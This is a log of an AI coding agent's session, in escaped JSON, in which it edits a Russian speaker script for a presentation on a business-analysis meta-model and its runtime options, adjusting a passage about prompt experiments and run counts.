\u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.746Z] [INFO]           \"new_string\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\"\n[2026-09-29T07:55:44.746Z] [INFO]         },\n[2026-09-29T07:55:44.746Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:44.746Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:44.746Z] [INFO]         }\n[2026-09-29T07:55:44.746Z] [INFO]       }\n[2026-09-29T07:55:44.746Z] [INFO]     ],\n[2026-09-29T07:55:44.746Z] [INFO]     \"container\": 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},\n[2026-09-29T07:55:44.746Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:44.746Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:44.746Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:44.746Z] [INFO]   },\n[2026-09-29T07:55:44.746Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:44.746Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"uuid\": \"557294f8-344d-4a34-9d70-581ccc03f3c4\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:44.731Z\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"request_id\": \"req_011CfXNXzBShRHictvwBzDdX\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:44.746Z] [INFO]     \"toolu_01DH5tJUnm4fRLmhvZDBt2zw\": {\n[2026-09-29T07:55:44.746Z] [INFO]       \"file_path\": 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\u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.746Z] [INFO]       \"new_string\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 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}\n[2026-09-29T07:55:44.746Z] [INFO]   }\n[2026-09-29T07:55:44.746Z] [INFO] }\n[2026-09-29T07:55:44.786Z] [INFO] {\n[2026-09-29T07:55:44.786Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"message\": {\n[2026-09-29T07:55:44.786Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"content\": [\n[2026-09-29T07:55:44.786Z] [INFO]       {\n[2026-09-29T07:55:44.786Z] [INFO]         \"tool_use_id\": \"toolu_01DH5tJUnm4fRLmhvZDBt2zw\",\n[2026-09-29T07:55:44.786Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:44.786Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully.\"\n[2026-09-29T07:55:44.786Z] [INFO]       }\n[2026-09-29T07:55:44.786Z] [INFO]     ]\n[2026-09-29T07:55:44.786Z] [INFO]   },\n[2026-09-29T07:55:44.786Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:44.786Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"uuid\": \"cf63f677-2dd5-4dee-901a-2fc3305598e9\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:44.777Z\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:44.786Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"oldString\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"newString\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 